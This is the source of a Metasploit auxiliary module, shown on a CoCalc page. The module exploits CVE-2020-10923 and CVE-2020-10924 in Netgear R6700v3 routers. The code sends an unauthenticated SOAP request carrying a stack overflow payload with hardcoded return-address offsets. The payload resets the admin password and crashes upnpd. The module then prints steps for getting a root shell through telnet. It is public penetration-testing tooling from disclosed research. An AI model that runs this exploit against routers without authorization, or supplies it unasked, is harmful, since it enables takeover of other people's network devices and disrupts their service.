CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Netgear R6700v3 Unauthenticated LAN Admin Password Reset',
14
'Description' => %q{
15
This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd),
16
on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset
17
the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by
18
using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent
19
computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only
20
supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58
21
firmware, however support for other firmware versions may be added in the future.
22
23
Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a
24
special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can
25
then log into this telnet server using the new password, and obtain a shell as the "root" user.
26
27
These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.
28
It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.
29
As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit
30
this vulnerability once per reboot of the router.
31
32
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
33
Radek Domanski).
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Pedro Ribeiro <pedrib[at]gmail.com>', # Twitter: @pedrib1337. Vulnerability discovery and Metasploit module
38
'Radek Domanski <radek.domanski[at]gmail.com>', # Twitter: @RabbitPro. Vulnerability discovery and Metasploit module
39
'gwillcox-r7' # Minor general updates plus updated implementation of the check method to identify a wider range of vulnerable targets.
40
],
41
'References' => [
42
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md'],
43
[ 'URL', 'https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders'],
44
[ 'CVE', '2020-10923'],
45
[ 'CVE', '2020-10924'],
46
[ 'ZDI', '20-703'],
47
[ 'ZDI', '20-704']
48
],
49
# Note that reliability isn't included here, as technically the exploit can only
50
# only be run once, after which the service crashes.
51
'Notes' => {
52
'SideEffects' => [ CONFIG_CHANGES ], # This module will change the configuration by
53
# resetting the router to the default factory password.
54
'Stability' => [ CRASH_SERVICE_DOWN ], # This module will crash the target service after it is run.
55
'Reliability' => [],
56
'RelatedModules' => [ 'exploit/linux/telnet/netgear_telnetenable' ] # This module relies on users also running exploit/linux/telnet/netgear_telnetenable to get the shell.
57
},
58
'DisclosureDate' => '2020-06-15',
59
'DefaultTarget' => 0
60
)
61
)
62
register_options(
63
[
64
Opt::RPORT(5000)
65
]
66
)
67
end
68
69
def retrieve_version
70
soap =
71
'<?xml version="1.0"?>'\
72
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
73
"\r\n<SOAP-ENV:Body>"\
74
"\r\nSetDeviceNameIconByMAC"\
75
"\r\n<NewBlockSiteName>1"\
76
"\r\n</NewBlockSiteName>"\
77
"\r\n</SOAP-ENV:Body>"\
78
"\r\n</SOAP-ENV:Envelope>"
79
80
# the GetInfo method will helpfully report the firmware version to an unauth request
81
headers = 'SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
82
83
res = send_request_cgi({
84
'uri' => '/soap/server_sa',
85
'method' => 'POST',
86
'raw_headers' => headers,
87
'data' => soap
88
})
89
90
if res.nil?
91
fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")
92
elsif (res.body.to_s == '') || (res.code != 200)
93
fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
94
end
95
96
version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.
97
if version.nil? # Check we actually got a result.
98
fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression
99
end
100
Rex::Version.new(version) # Finally lets turn it into a Rex::Version object for later use in other parts of the code.
101
end
102
103
def check
104
target_version = retrieve_version
105
print_status("Target is running firmware version #{target_version}")
106
if (target_version < Rex::Version.new('1.0.4.94')) && (target_version >= Rex::Version.new('1.0.2.62'))
107
return Exploit::CheckCode::Appears
108
else
109
return Exploit::CheckCode::Safe
110
end
111
end
112
113
def find_offset
114
target_version = retrieve_version
115
if target_version == Rex::Version.new('1.0.4.84')
116
print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.")
117
# this offset is where execution will jump to
118
# a part in the middle of the binary that resets the admin password
119
return "\x58\x9a\x03"
120
elsif target_version == Rex::Version.new('1.0.4.82')
121
print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.")
122
return "\x48\x9a\x03"
123
end
124
end
125
126
def run
127
offset = find_offset
128
if !offset
129
fail_with(Failure::NoTarget, 'Identified firmware version is not supported. Please contact the authors.')
130
end
131
132
headers =
133
"SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"
134
135
payload =
136
'<?xml version="1.0"?>'\
137
"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
138
"\r\n<SOAP-ENV:Body>"\
139
"\r\nSetDeviceNameIconByMAC"\
140
"\r\n<NewBlockSiteName>1"
141
142
# filler
143
payload += Rex::Text.rand_text_alpha(1028)
144
# $r4
145
payload += Rex::Text.rand_text_alpha(4)
146
# $r5
147
payload += Rex::Text.rand_text_alpha(4)
148
# $r6
149
payload += Rex::Text.rand_text_alpha(4)
150
# $r7
151
payload += Rex::Text.rand_text_alpha(4)
152
# $r8
153
payload += Rex::Text.rand_text_alpha(4)
154
# $lr (AKA return address)
155
payload += offset
156
157
# trailer
158
payload +=
159
"\r\n</NewBlockSiteName>"\
160
"\r\n</SOAP-ENV:Body>"\
161
"\r\n</SOAP-ENV:Envelope>"
162
163
headers.gsub! "\n", "\r\n"
164
payload.gsub! "\n", "\r\n"
165
166
# MSF adds content len automatically.
167
# Unfortunately this appears before the raw headers hash, but doesn't appear to have ill effects
168
headers += "\r\n"
169
170
res = send_request_cgi({
171
'uri' => '/soap/server_sa',
172
'method' => 'POST',
173
'raw_headers' => headers,
174
'data' => payload
175
})
176
177
if res
178
# no response is received in case of success
179
fail_with(Failure::UnexpectedReply, 'Failed to send HTTP payload... try again?')
180
else
181
print_good("#{peer} - HTTP payload sent! 'admin' password has been reset to 'password'")
182
print_status('To achieve code execution, do the following steps manually:')
183
print_status("1- Login to #{rhost} with creds 'admin:password', then:")
184
print_status("\t1.1- go to Advanced -> Administration -> Set Password")
185
print_status("\t1.2- Change the password from 'password' to <WHATEVER>")
186
print_status('2- Run metasploit as root, then:')
187
print_status("\t2.1- use exploit/linux/telnet/netgear_telnetenable")
188
print_status("\t2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>")
189
print_status("\t2.3- set rhost #{rhost}")
190
print_status("\t2.3- set username admin")
191
print_status("\t2.4- set password <WHATEVER>")
192
print_status("\t2.5- OPTIONAL: set timeout 1500")
193
print_status("\t2.6- OPTIONAL: set MAC <ROUTERS_MAC>")
194
print_status("\t2.7- run it and login with 'admin:<WHATEVER>'")
195
print_status('3- Enjoy your root shell!')
196
end
197
end
198
end
199
200